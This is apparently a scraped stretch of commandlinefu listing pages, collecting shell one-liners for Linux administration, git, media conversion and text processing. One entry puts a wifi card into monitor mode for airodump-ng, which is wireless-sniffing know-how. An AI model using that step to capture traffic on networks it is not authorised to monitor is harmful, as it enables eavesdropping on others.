ed-1.4-1mdv2010.0 find the rpm package name that provides a specific file For Linux distributions using rpm (eg Mandriva), this command will find the rpm package name that provides a file. ssh remotebox tail -f /var/log/remotelog Functions: ssh tail function t { ls -ltch $* | head -20 ; } % t total 79768 drwxr-xr-x 79 aks staff 2.6K Feb 24 23:38 aspell6-en-6.0-0/ drwxr-xr-x@ 53 aks staff 1.8K Feb 24 23:21 aspell-0.60.6/ -rw-r--r--@ 1 aks staff 1.7M Feb 24 23:14 aspell-0.60.6.tar.gz A bash function to show the files most recently modified in the named (or current) directory Coming back to a project directory after sometime elsewhere? Need to know what the most recently modified files are? This little function "t" is one of my most frequent commands. I have a tcsh alias for it also: alias t 'ls -ltch \!* | head -20' ethtool eth0 sudo /usr/sbin/ethtool eth0 Settings for eth0: Get ethernet card information. This is an commandline utility to get fair piece of information about the attached network card. wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p' $ def lek A communal courtship arena which is used by several males to try to attract a female for mating. This is a minimalistic version of the ubiquitious Google definition screen scraper. This version was designed not only to run fast, but to work using BusyBox. BusyBox is a collection of basic Unix tools that have been compiled into a single binary to save space on tiny installations of Unix. For example, although my phone doesn't have perl or the GNU utilities, it does have BusyBox's stripped down versions of wget, tr, and sed. It turns out that those tools suffice for many tasks. Known Bugs: This script does not handle HTML entities at all. I don't think there's an easy way to do that within BusyBox, but I'd love to see it if someone could do it. Also, this script can only define a single word, not phrases. (Well, you could if you typed in %20, but that'd be gross.) Lastly, this script does not show the URL where definitions were found. Given the randomness of the Net, that last bit of information is often key. lst=`find . -iname \*.c -or -iname \*.h`; for i in $lst; do emacs -nw -q $i --eval "(mark-whole-buffer)" --eval "(indent-region (point-min) (point-max) nil)" --eval "(save-buffer)" --kill; done indenting all the files at a time, if the file has local variable for indentation style its even better. This one liner is not pretty but it does the job. seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l $ seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l 3.14159263358979321063 Functions: bc paste sed seq Calculate a transcendental number (pi) Calculate pi from the infinite series 4/1 - 4/3 + 4/5 - 4/7 + ... This expansion was formulated by Gottfried Leibniz: http://en.wikipedia.org/wiki/Leibniz_formula_for_pi I helped rubenmoran create the sum of a sequence of numbers and he replied with a command for the sequence: 1 + 2 -3 + 4 ... This set me thinking. Transcendental numbers! seq provides the odd numbers 1, 3, 5 sed turns them into 4/1 4/3 4/5 paste inserts - and + bc -l does the calculation Note: 100 million iterations takes quite a while. 1 billion and I run out of memory. continuar=true; while $continuar; do if ping -c 3 [target_IP_address] 2>&1> /dev/null ; then mplayer [sound_file]; continuar=false; break; fi; done multimedia ping If you're very busy and don't want to wait for a ping response, use it. This command will be waiting for a successful ping response, to play a sound file to warn you that the target host is available. apt-cache depends $ apt-cache depends tar tar PreDepends: libc6 Suggests: bzip2 Suggests: ncompress Suggests: xz-utils Conflicts: cpio Breaks: dpkg-dev Replaces: cpio Show package dependencies with apt watch -n1 'netstat -tn | grep -P :22' Monitoring a port connections 800768 blocks (25024Mb) written. 802285+0 records in 802284+0 records out dd with nice progress bar Use as normal dd, like: Other alternatives: dc3dd (Quite verbose) dd if=/dev/zero |pv|dd of=/dev/null (More verbose) cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g' Strip out Hungarian notation from a PHP file This removes the type prefix used in Hungarian notation (v. bad) for PHP variables. Eg. variables of the form $intDays, $fltPrice, $arrItems, $objLogger convert to $days, $price, $Items, $logger. echo "\"\e[5~\": history-search-backward" >> ~/.inputrc Use the page up key to complete the command. What this does is, if I type ?ssh ? then hit the page-up key, it will complete the line to the last time in my history file that I typed ssh. Hitting page up again will go to the 2nd to last time I typed it. Incredibly handy if you ever type the same commands more than once. credit goes to http://www.sharms.org/blog/2009/03/10/make-your-bash-shell-cool-again/ echo "\"\e[6~\": history-search-forward" >> ~/.inputrc function headers { head -1 $* | tr ',' '\12' | pr -t -n ; } % headers table.csv 1 Date 2 Open 3 High 4 Low 5 Close 6 Volume 7 Adj Close Functions: head pr tr Show the ordered header line (with field names) of a CSV file This little command (function) shows the CSV header fields (which are field names separated by commas) as an ordered list, clearly showing the fields and their order. git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/ Functions: mv sed xargs Move all files untracked by git into a directory open-command $(ls -rt *.type | tail -n 1) Open the last modified file of a certain type Change open-command and type to suit your needs. One example would be to open the last .jpg file with Eye Of Gnome: eog $(ls -rt *.jpg | tail -n 1) variable="foo" && sed 's/bar/'$variable'/g' $variable.conf >> $variable.temp && sed '1,5d' $variable.temp && mv $variable.temp $variable.conf server { listen 80; server_name www.foo.com; access_log /var/log/nginx/access.log main; error_log /var/log/nginx/error.log warn; Find, Replace, Write & Remove First 5 Lines I wrote this script to speed up Nginx configs. This (long) one liner can be run via BASH. You will see that we set a variable in bash called 'foo' and the streamline editor (sed) finds 'bar' in 'foo.conf' next it writes that output to a temp file (foo.temp) and removes the first 5 lines (that aren't needed in this case) & lastly it moves (overwrites) foo.temp to foo.conf apt-cache rdepends $ apt-cache rdepends tar Reverse Depends: file-roller vfu newlib-source |dvbackup dump amanda-common backuppc Show package reverse dependencies with apt perl -F'\s+' -anE 'push @w,$F[1];END{$r.=splice @w,rand @w,1 for(1..4);say $r}' diceware.wordlist.asc snapcodonmarshstink Before running, do: curl -sO http://world.std.com/%7Ereinhold/diceware.wordlist.asc $(($(hostname|sum|cut -f1 -d" ")%27+1)) Command to generate an integer from the hostname, valid within the Days of Month Requirements: Output: integer x , 1>=x Input: hostname Able to reproduce on the same host Acceptable for output to be different among OSes (Solaris, Linux, BSD) Useful for providing DayOfMonth splay in cron jobs. Capped at 28 for Febtober. ssh-keygen -i -f $sshkeysfile >> authorized_keys Convert an ssh2 public key to openssh format for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done Before: After: Recursively replace a string in files with lines matching string. Lines with the string "group name" will have the first > character replaced while other > characters on other lines will be ignored. tar --exclude=".??*" -zcvf ./home_backup_2008.tar.gz my_home backup home dir exclude dot files ‹ First < 231 232 233 234 235 > Last › seq -w 50 | sort -R | head -6 |fmt|tr " " "-" Functions: head seq sort tr sw_vers [-productName|-productVersion|-buildVersion] Get version values (ProductName, ProductVersion, BuildVersion) for Mac OS X echo 'example.com%2Fsome%2Fpath' | ruby -r'cgi' -e 'puts CGI.unescape(STDIN.read)' un-escape URL/URIs with Ruby for i in `seq 100`; do mkdir f${i}; touch ./f${i}/myfile$i ;done creates 100 directories f(1-100) with a file in each matched to the directory (/f1/myfile1, .. /f98/myfile98,/f99/myfile99/,/f100/myfile100,etc ) Functions: mkdir touch mkdir some file and mv some file creates 100 directories f(1-100) with a file in each matched to the directory (/f1/myfile1, .. /f98/myfile98,/f99/myfile99/,/f100/myfile100,etc ) python -c 'print hex(1337)' 0x539 Python is always such much more readable than most shell scripting. fsutil file createnew FILENAME filesize(inbytes) fsutil file createnew deleteme 1024 File C:\deleteme is created C:\>dir deleteme Directory of C:\ 02/05/2009 12:33 PM 1,024 deleteme Create files of arbitrary size in Windows This command creates a file of arbitrary size in a windows environment. mencoder -of avi -ovc lavc movie.avi -o movie2.avi; ffmpeg -i movie2.avi -r 12 -b 100 movie.flv Convert a VMWare screencast into a flv file First, we convert the VMware avi (VMnc format) to the Microsoft avi format. Next, we convert the Microsoft avi format to FLV format. You can play around with the -r switch (rate per second) and the -b switch (bitrate). But, if those get larger, so does your FLV file. git remote prune origin Pruning origin URL: git@github.com:app/signup.git * [pruned] origin/1099_feature1 * [pruned] origin/2562_feature2 * [pruned] origin/2576_feature3 * [pruned] origin/2576_feature4 * [pruned] origin/2591_feature5 Remove branches that no longer exist from being shown via 'git branch -a' If you rebase and delete a lot of remote branches via git, your list of branches will end up showing branches on origin that no longer exist. This command will clear them out. LESSOPEN="| /usr/bin/lesspipe %s" less file.jar This of course assumes that lesspipe is installed. You can view the contents of many, many types of files in this way. Once lesspipe is installed, add to your .bashrc export LESSOPEN="| /usr/bin/lesspipe %s" less file.jar export LESSCLOSE="/usr/bin/lesspipe %s %s" eval "$(lesspipe)" find . -type f -size +20000k -print0 | xargs -0 du -h | awk -F"\t" '{printf "%s : %s\n", $2, $1}' Find Files over 20Meg Output made so that it will match initial suggestion for this task. Personally, I think that output of du -h is more readable. ps -u `/usr/xpg4/bin/id -u` Find processes by current user on a Solaris box 6 characters counting whitespace! python -c 'print "hello".encode("hex")' 68656c6c6f You can use "decode()" in a similar manner: python -c 'print "68656c6c6f".decode("hex")' find . -name Root -print | xargs rm -f Remove CVS root files under current directory /sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}' That one works on Linux. On BSD and Solaris, the ifconfig output is much easier to parse: /sbin/ifconfig -a | awk '/inet/{print $2}' find -type f |while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "Match: ${a}";done Match: ./wps.ear/wps.war/themes/html/QPG/pageHeader.html Same thing, only "head" instead of grep/egrep.. echo Your_Chinese_Char | uniconv -encode Chinese-WB gnu@robby:~$ echo ?? | uniconv -encode Chinese-WB if tvfh gnu@robby:~$ convert chinese character into wubi86 input code This CLI requiere the uniconv package that is provided with the yudit unicode editor . The wubi86 is a way to type chinese far quicker than pinyin . More infor on wikipedia : http://en.wikipedia.org/wiki/Wubizixing , http://www.yale.edu/chinesemac/wubi/xing.html mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); printf "%d:%02d:%02d\n",H,M,S}' 2:00:05 Prints movie length in H:MM:SS format with appropriate leading zeros. du -kh --max-depth=1 | sort -n |head get biggest directories isdef() { eval test -n \"\${$1+1}\"; } $ isdef a_var; echo $? $ a_var=1 Functions: eval test Got the idea from there http://fixunix.com/questions/15902-bash-checking-if-env-var-set.html mpg123 -s input.mp3 | faac -P -X -w -o output.m4b - conver mp3 to m4b echo "scale=6;2048 / 2.345" | bc gnu@robby:~$ echo "scale=6;2048 / 2.345" | bc 873.347547 get value after comma from an arithmetic operation scale define the number you want after comma find . -iname \*.c -or -iname \*.h -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \; Use find's exec and reduce the need for multiple evals with a progn wrapper. ifconfig | grep HWaddr -bash-3.00$ /sbin/ifconfig | grep HWaddr eth0 Link encap:Ethernet HWaddr 00:50:56:9C:69:6F eth1 Link encap:Ethernet HWaddr 00:50:56:9C:16:C6 -bash-3.00$ plain and simple glu() { (local IFS="$1"; shift && echo "$*") }; repath() { ( _E=`echo "${PATH//:/$'\n'}" | awk '!x[$0]++'`; glu ":" $_E ) ; } ; PATH=`repath` ; export PATH Functions: awk echo export shift Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts are oftern bad: PATH=/apath:$PATH type of thing cause diplicate. Thanks to the authors of: and the author of: joinargs() { (local IFS="$1"; shift && echo "$*") } and others, we can have a fast Linux or android. IMPORTANT if you find a priority order problem in PATH you can push a path directory to the front without duplication as follows: PATH=/bin:$PATH then ... Check duplication with: Finally do a very neat line by line list of $PATH: echo "${PATH//:/$'\n'} The speed up is very noticeable for android, and builds on Linux Ubantu are much faster with make and scripts. I will update the command on request. Timothy from SONY ‹ First < 232 233 234 235 236 > Last › pdftk input1.pdf input2.pdf cat output output.pdf echo "shopt -s histappend" >> ~/.bashrc ; . ~/.bashrc Prevent command history file from being overwritten by multiple shell sessions. Takes effect immediately. cvs up -pA main.cpp | sdiff -s - main.cpp Functions: cvs sdiff cvs diff HEAD and current branch you can't reliably use diff against -r HEAD to test whether a file matches the head of the trunk. git clean -dfx Remove all untracked files/directories from the working tree of a git repository. man () { if [[ $(type ${1}) =~ "is a shell builtin" ]]; then; /usr/bin/man -P "/usr/bin/less -iRs --pattern=\"^ *${1}\"" bash; else; /usr/bin/man ${1}; return; fi; } $ man ulimi Functions: man type Go to man section of bash builtins ulimit [-SHacdflmnpstuv [limit]] Provides control over the resources available to the shell and to processes started by it, on systems that allow such control. The -H and -S options specify that the hard or soft limit is set for the given resource. A hard limit cannot be increased once it is set; a soft limit may be increased up to the value of the hard limit. If neither -H nor -S is specified, both the soft and hard limits are set. # jumps straight to the definition of ulimit in the bash man page. grep -RE 'class\s+(\w+)' --color * grep all class definitions from all files in current directory function xzv() { THREADS=`grep processor /proc/cpuinfo | wc -l`; for file in $*; do pv -s `stat -c%s $file` < $file | pxz -q -T $THREADS > $file.xz ; done; } Functions: file wc Parallel XZ with progress bar You need: pxz for the actual work (http://jnovy.fedorapeople.org/pxz/). The function could be better with better multifile and stdin/out support. tar cvfz dir_name.tgz dir/ Command ---------------- root@hostname /var/www$ tar cvfz html.tgz html/ html/ html/.htaccess html/wiki/ html/wiki/serialized/ Output --------------------- root@hostname /var/www$ ll total 16464 Tar a directory and its sub-directory This command creates tar zip of a directory and its sub-directories. 2end () ( export LC_ALL=C; nl -n rz $1 > $1.tmp; ${EDITOR:-vi} $1.tmp; sort $1.tmp | sed -r 's/^.*[0-9]+\t+//' > $1; rm $1.tmp; ) $ 2end /tmp/2end.txt ~000001 rough 000002 slimy !000003 red ~000004 fluff 000005 dough $ cat /tmp/2end.txt red slimy dough rough fluff Functions: export nl rm sed sort sort selected lines in a text file to the beginning or end of the file. This function is used to sort selected lines of a text file to the end of that file. Especially useful in cases where human intervention is necessary to sort out parts of a file. Let's say that you have a text file which contains the words rough slimy red fluff dough For whatever reason, you want to sort all words rhyming with 'tough' to the bottom of the file, and all words denoting colors to the top, while keeping the order of the rest of the file intact. '$EDITOR' will open, showing all of the lines in the given file, numbered with '0' padding. Adding a '~' to the beginning of the line will cause the line to sort to the end of the file, adding '!' will cause it to sort to the beginning. set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error Functions: env set Setting gdb in memory allocation debugging mode under MAC OS X setting gdb with this option / breakpoint before running the process will cause it to break whenever an memory allocation operation is not kosher. find . -type f -printf %s\\n | paste -sd+ | bc 9346375 Functions: find paste Computes total size of files in a directory. This value is different "du -b" because doesn't includes directory sizes. /usr/bin/play -q -n synth brown band -n 1200 200 tremolo 0.05 80 Generate soothing noise Substitute 'brown' with 'pink' or 'white' according to your taste. I put this on my headphones when I'm working in an "open concept" office, where there are always three to five conversations going in earshot, or if I'm working somewhere it is "rude" of me to tell a person to turn off their cubicle radio. curl -s http://example.com | grep -o -P "" | grep -o "http.*.pdf" | xargs -d"\n" -n1 wget -c Functions: grep wget xargs This example command fetches 'example.com' webpage and then fetches+saves all PDF files listed (linked to) on that webpage. [*Note: of course there are no PDFs on example.com. This is just an example] svn diff --diff-cmd diff -x -uw /path/to/file svn diff ignore whitespace get subversion diff output without distracting whitespace changes. good for when you are cleaning up code to make sure you didn't change anything important. also useful when working with old code, or someone else's code. rpm2cpio /path/to/file.rpm | cpio -i -d Extract the contents of an RPM package to your current directory without installing them. This assumes you have the 'rpm', 'rpm2cpio' and 'cpio' packages installed. This will extract the contents of the RPM package to your current directory. This is useful for working with the files that the package provides without installing the package on your system. Might be useful to create a temporary directory to hold the packages before running the extraction: mkdir /tmp/new-package/; cd /tmp/new-package perl -i -pe 's/\xef\xbb\xbf//g' Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard. Fixes the faulty files with perl, which may exist on more platforms python -c 'print "-" * 50' python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()" Python: Quickly locate site-packages lynx -dump http://www.anti-abuse.org/multi-rbl-check/ | grep ']' | awk -F\] '{ print $2 }' | sed '/^\[/d' | egrep -v ^[A-Z] Functions: awk egrep grep sed Scrape all RBLs off the anti-abuse.org site iwconfig wlan0 mode monitor wlan0 IEEE 802.11abgn Mode:Monitor Tx-Power=20 dBm place wifi card into monitor mode This command will place your card into monitor mode. Gets around the "ioctl(SIOCSIWMODE) failed: Device or resource busy" error encountered when running airodump-ng. INPUT= && ffmpeg -i "$INPUT" -vn -f wav - | oggenc -o ${INPUT%%.*}.ogg - Convert a videos audio track to ogg vorbis. Assumes you have ffmpeg and oggenc. Similar to other scripts here, but this time outputting to Ogg Vorbis. I added the variable assignment for a nice output name. This is part of an interactive bash script I have with a few little multimedia tasks in it. http://www.dward.us/software/VSAK.sh echo $X | egrep "^[0-9]+$" Functions: echo egrep svn st | grep -e '^M' | awk '{print $2}' | xargs svn revert Revert all modified files in an SVN repo rtfm() { help $@ || $@ -h || $@ --help || man $@ || $BROWSER "http://www.google.com/search?q=$@"; } Sometimes you don't have man pages only '-h' or '--help'. NotifyOnBATTERY () { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m; done } [On top right corner] Running on BATTERY Notify on Battery power Works on Laptops, Desktop having communication b/w UPS & CPU ‹ First < 233 234 235 236 237 > Last › w_scan -X -P -t 2 -E 0 -c IT > dvb-channels.conf w_scan version 20100316 (compiled for DVB API 5.1) using settings for ITALY DVB aerial DVB-T Europe frontend_type DVB-T, channellist 4 output format czap/tzap/szap/xine Info: using DVB adapter auto detection. Using DVB-T frontend (adapter /dev/dvb/adapter0/frontend0) -_-_-_-_ Getting frontend capabilities-_-_-_-_ Using DVB API 5.1 frontend DiBcom 7000PC supports INVERSION_AUTO QAM_AUTO TRANSMISSION_MODE_AUTO GUARD_INTERVAL_AUTO HIERARCHY_AUTO FEC_AUTO -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ Scanning 7MHz frequencies... build DTT channel list with w-scan Use w_scan to build italian DTT video channel list. To change country, substitute IT with 2 letter country code. Userful to be played in vlc by: vlc -f dvb-channels.conf nm-tool 2>/dev/null|sed -n '/Type:[ ]*802.11 WiFi/,/IPv4 Settings/{ /State:[ ]*connected/,/IPv4 Settings/{ s/^[ ]*//;/^\*.*Infra/ { s/^*//;s/:.*//;p }}}' Functions: nm sed Get current connected wireless network with nm-tools Gets only when the state is connected. git status | perl -F'\s' -nale 'BEGIN { $a = 0 }; $a = 1 if $_ =~ /changed but not updated/i; print $F[-1] if ( $a && -f $F[-1] )' Show the changed files in your GIT repo Parse the output of git status. Once the line '# Changed but not updated:' has passed print every last part of the line if it exists on disk. unhide (proc|sys|brute) [*]Searching for Hidden processes through /proc scanning Forensic tool to find hidden processes and ports Unhide is a forensic tool to find processes and TCP/UDP ports hidden by rootkits, Linux kernel modules or by other techniques. It includes two utilities: unhide and unhide-tcp. users | xargs -n1 echo | sort | uniq -c Functions: echo sort uniq users xargs List and count the number of open sessions per user while true; do tput sc; tput cup 0 $(($(tput cols)-74)); w | grep load; tput rc; sleep 10; done & 11:27:27 up 23:41, 1 user, load average: 0.29, 2.34, 3.72 Functions: grep sleep tput Gives not only date but also some interesting status about the System tar -caf some_dir.tar.xz some_dir have tar decide compression based on filename the -a flag causes tar to automatically pick the right compressor to filter the archive through, based on the file extension. e.g. "tar -xaf archive.tar.xz" is equivalent to "tar -xJf archive.tar.xz" "tar -xaf archive.tar.gz" is equivalent to "tar -xzf archive.tar.gz" No need to remember -z is gzip, -j is bzip2, -Z is .Z, -J is xz, and so on :) rename.ul "" 00 ?.jpg; rename "" 0 ??.jpg; Not as elegant as the zmv version. ac -p | sort -nk 2 | awk '/total/{print x};{x=$1}' Show which user has the most accumulated login time echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 )) hours before the time()==1234567890 head -c10 <(echo $RANDOM$RANDOM$RANDOM) Makes use of $RANDOM environment variable. xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}' alias sete='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"`/q;p"' BASH=/bin/bash BASH_ARGC=() BASH_ARGV=() BASH_LINENO=() BASH_SOURCE=() BASH_VERSINFO=([0]="3" [1]="2" [2]="25" [3]="1" [4]="release" [5]="i686-redhat-linux-gnu") BASH_VERSION='3.2.25(1)-release' BKDIR=/home/askapache/.bk BROWSER=/usr/bin/lynx COLORS=/home/askapache/.dircolors COLUMNS=271 CR=$'\E[m\017\E)0' CVS_RSH=ssh DIRSTACK=() EDITOR=/usr/bin/vim EUID=32011 GREP_OPTIONS='-D skip --binary-files=without-match' GROUPNAME=askapache GROUPS=() Normally the bash builtin command 'set' displays all vars and functions. This just shows the vars. Useful if you want to see different output then env or declare or export. Alias 'sete' shows sets variables Alias setf shows the functions. alias setf='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"`/,\$p"' Also see: http://www.commandlinefu.com/commands/view/6899/print-all-environment-variables-including-hidden-ones At the very least, some cool sed commands! From my .bash_profile http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html aptitude search -F "%p" --disable-columns ~i Print sorted list of all installed packages (Debian) You can then do all the processing you wish... It's already sorted and only installed packages are listed. EDIT: Now contains formatting option to list only package names! Also, disables truncating long package names. NOTE: it's tilda i not dash i find . -iname '*.php' | xargs grep "searh string" -sl -sl : show just file names date -d @$(echo $(($(date +%s)-$(cat /proc/uptime|cut -d. -f1)))) Functions: cat cut date echo Knowing when a machine is turned on find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \; Add a newline to the end of a cpp file Adds a newline to the end of all cpp files in the directory to avoid warnings from gcc compiler. while [ 1 ]; do du /var/log/messages;sleep 60; done 2380 messages 2396 messages 2401 messages Got a file you're generating and you want the size without typing in 'ls -l file' all the time? Use this instead. /sbin/route -n | grep "^0\.0\.0\.0" | awk '{ print $2 }' same thing without loop ;) echo StrinG | tr 'A-Z' 'a-z' Another way to do it with slightly fewer characters. It doesn't work on Russian characters; please don't vote down because of that. :p It's very handy for those of us working in ascii :) mv -i something.conf{,~} && sed "/regexp/s/^/#/" < something.conf~ > something.conf Comment out all lines in a configuration file matching a regexp, creating a backup. i=3; echo 10.0.0.1 | sed "s/\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\)/\1\2\3$i/g" replace one of the octates of an IP the numbers in the ip address are represented in sed as \1\2\3\4. If I put \1\2\3$i, then I change the last number. So for example to change the second number I'll do \1$i\3\4. Regards, Kfir echo "abcde" | sed 's/./& /g' $ echo "abcde" | sed 's/./& /g' a b c d e Matched string reference in replacement text Use matched data and some other as replacement data git tag -l --contains 18f6f2 live* live-20100121 live-20100215 which git tags include this commit? This will list all tags that match the live* glob and contain commit 18f6f2 find ~/.thunderbird/*.default/ -name *.msf -delete ‹ First < 234 235 236 237 238 > Last › for f in *.doc ; do wvHtml $f ${f%.doc}.html ; done Convert all Microsoft Word files in current directory to HTML. This requires wvWare, which under Debian is in the wv package. Alternative converters can be used, e.g., jodconverter, which uses OO.O instead (no X server need be running.) mydir=$(cd $(dirname ${BASH_SOURCE:-$0});pwd) I submitted a command like this without $0 if $BASH_SOURCE is unset. Therefor, it did only work when using ./script, not using 'sh script'. This version handles both, and will set $mydir in a script to the current working directory. It also works on linux, osx and probably bsd. cd / ; tar -cvpzf backup.tar.gz --exclude=/backup.tar.gz --exclude=/proc --exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/dev / Backup entire system Backup your entire system on a tar ball file format. switchMonitor () { LF=/tmp/screen-lock; if [ -f $LF ]; then rm $LF; else touch $LF; sleep .5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi }; Functions: rm sleep touch shut of the screen ( Fool proof ) Use the command to create a script and bind it to a key using keyboard shortcut. Script locks the screen in a loop until the command is executed again.At first it find . -iname "*.mp3" -execdir mid3iconv -e {} \; Fix MP3 tags encoding (to UTF-8). Batch fixes all MP3s in one directory. Fixes MP3 tags encoding (to UTF-8). Batch fixes all MP3s in one directory. lol=`zenity --entry` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-exit "$lol" run zenity object on local machine for to insert video stream url to play on remote machine use this command via ssh on remote machine when you want play video stream or path to file alias testh='help test|sed -e :a -e "$!N;s/\(-n STRING\)\n/\1, /;s/\n\( \{23\}\| \{4\}\([a-z]\)\)/ \2/;ta;P;D"|sed "s/ \{1,\}/ /g;/^ $/d;/:$/s/^/\n/"|sed -n "/File operators:/,\$p"' File operators: -a FILE True if file exists. -b FILE True if file is block special. -c FILE True if file is character special. -d FILE True if file is a directory. -e FILE True if file exists. -f FILE True if file exists and is a regular file. -g FILE True if file is set-group-id. -h FILE True if file is a symbolic link. -L FILE True if file is a symbolic link. -k FILE True if file has its `sticky' bit set. -p FILE True if file is a named pipe. -r FILE True if file is readable by you. -s FILE True if file exists and is not empty. -S FILE True if file is a socket. -t FD True if FD is opened on a terminal. -u FILE True if the file is set-user-id. -w FILE True if the file is writable by you. -x FILE True if the file is executable by you. -O FILE True if the file is effectively owned by you. -G FILE True if the file is effectively owned by your group. -N FILE True if the file has been modified since it was last read. FILE1 -nt FILE2 True if file1 is newer than file2 (according to modification date). FILE1 -ot FILE2 True if file1 is older than file2. FILE1 -ef FILE2 True if file1 is a hard link to file2. String operators: -z STRING True if string is empty. -n STRING, STRING True if string is not empty. STRING1 = STRING2 True if the strings are equal. STRING1 != STRING2 True if the strings are not equal. STRING1 < STRING2 True if STRING1 sorts before STRING2 lexicographically. STRING1 > STRING2 True if STRING1 sorts after STRING2 lexicographically. Other operators: -o OPTION True if the shell option OPTION is enabled. ! EXPR True if expr is false. EXPR1 -a EXPR2 True if both expr1 AND expr2 are true. EXPR1 -o EXPR2 True if either expr1 OR expr2 is true. arg1 OP arg2 Arithmetic tests. OP is one of -eq, -ne, -lt, -le, -gt, or -ge. Arithmetic binary operators return true if ARG1 is equal, not-equal, less-than, less-than-or-equal, greater-than, or greater-than-or-equal than ARG2. Test quick help alias Just a nice alias so if you need help with test you can just do testh ssh -i /root/.ssh/username\@hostname -p 222 username@hostname SSH connection with private key and port 222 ls -1 | awk ' { print "zip "$1".zip " $1 } ' | sh Zip each file in a directory individually with the original file name This will list the files in a directory, then zip each one with the original filename individually. video1.wmv -> video1.zip video2.wmv -> video2.zip This was for zipping up large amounts of video files for upload on a Windows machine. ps auxf svcsuprt 4032 0.1 0.5 8972 1900 ? S Feb01 7:14 | \_ sshd: svcsuprt@pts/0 svcsuprt 4033 0.0 0.4 6504 1472 pts/0 Ss Feb01 0:00 | \_ -bash ps with parent/child process tree Shows a tree view of parent to child processes in the output of ps (linux). Similar output can be achieved with pstree (also linux) or ptree (Solaris). hostinfo.sh ============================== HOSTNAME testlab HOSTTYPE i386-linux MACHINETYPE i386 OSTYPE linux VENDOR intel KERNEL 2.6.9 GLIBC 2.3 _HOSTNAME=`hostname` _HOSTTYPE=`echo $HOSTTYPE` _MACHINETYPE=`echo $MACHTYPE` _OSTYPE=`echo $OSTYPE` _VENDOR=`echo $VENDOR` _KERNEL=`uname -r | awk -F- '{print $1}'` _GLIBC=`ls /lib/libc-*.so | awk -F- '/lib/ {print $2}' | awk -F. '{print $1"."$2}'` _MEM=`cat /proc/meminfo | awk '/MemTotal/ {print $2 $3}'` _CPU=`cat /proc/cpuinfo | grep 'cpu MHz' | awk '{print $4}'` echo '==============================' echo 'HOSTNAME ' $_HOSTNAME echo 'HOSTTYPE ' $_HOSTTYPE echo 'MACHINETYPE ' $_MACHINETYPE echo 'OSTYPE ' $_OSTYPE echo 'VENDOR ' $_VENDOR echo 'KERNEL ' $_KERNEL echo 'GLIBC ' $_GLIBC echo 'MEM INFO ' $_MEM echo 'CPU INFO ' $_CPU instfix -icq | grep 5300-07_AIX_ML | grep ":-:" AIX: Determine what filesets are missing to reach a TL This will let you know what filesets or fixes (if any) are missing in order to be considered "at" a given technology level in AIX. scrot -e 'mv $f \$HOME/public_html/shots/; echo "http://\$HOSTNAME/~\$USER/shots/$f" | xsel -i; feh `xsel -o`' Easily create and share X screen shots (local webserver version) A web server using $HOME/public_html as user directory is required, $HOME/public_html/shots must exist and have appropriate access rights and $HOSTNAME must be known to and accessible from the outside world. The command uses scrot to create a screen shot, moves it to the screen shot directory, uses xsel to copy the URL to the paste buffer (so that you can paste it with a middle click) and finally uses feh to display a preview of the screen shot. Assign this command to a key combination or an icon in whatever panel you use. firefox --safe-mode how to run firefox in safe mode from command line Sometime you need to run firefox from the command just to rectify something about it.Means,if some of the addon broke you firefox setting or theme broke your ff setting then fall back to commandline i.e shell and type the mentioned command. It will open up an information box with few option along with the checkbox besides them(means you can select them) to start the web browser in safe mode.Besically deactivating all the addon and theme,except the default one.Once you are done/rectified thing ..close that session and reopen the browser normally.It should work. cat *.sql | mysql Execute all SQL files in a directory lol=`zenity --file-selection --directory` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-stop "$lol" run zenity object on local machine for select all directory file to play on remote machine use this command via ssh on remote machine when you want play video remove --directory if you want select single file gcal -i -s1 -qcn --chinese-months -cezk . Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su 1 2 3 4 5 6 7 1 2 3 4 5 : 1: 2: 8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9 Fixed date list: 1) |44| Sa, 6 Nov 2010: Start of common month 10/4647 (Chi*) 2) |49| Mo, 6 Dec 2010: Start of common month 11/4647 (Chi*) 3) |51| We, 22 Dec 2010: Solstice Day (CN) 4) |52/0| Sa, : 1:Jan 2011: New Year's Day (CN) 5) |52/0| Su, : 2:Jan 2011: New Year's Day (CN) 6) |01| Tu, 4 Jan 2011: Start of common month 12/4647 (Chi*) 附带节假日和阴历的命令行程序 包括: 除夕(Chinese New Year?s Day)、清明(Tomb-Sweeping Day)、端午(Dragon Boat Festival)、中秋(Mid-Autumn 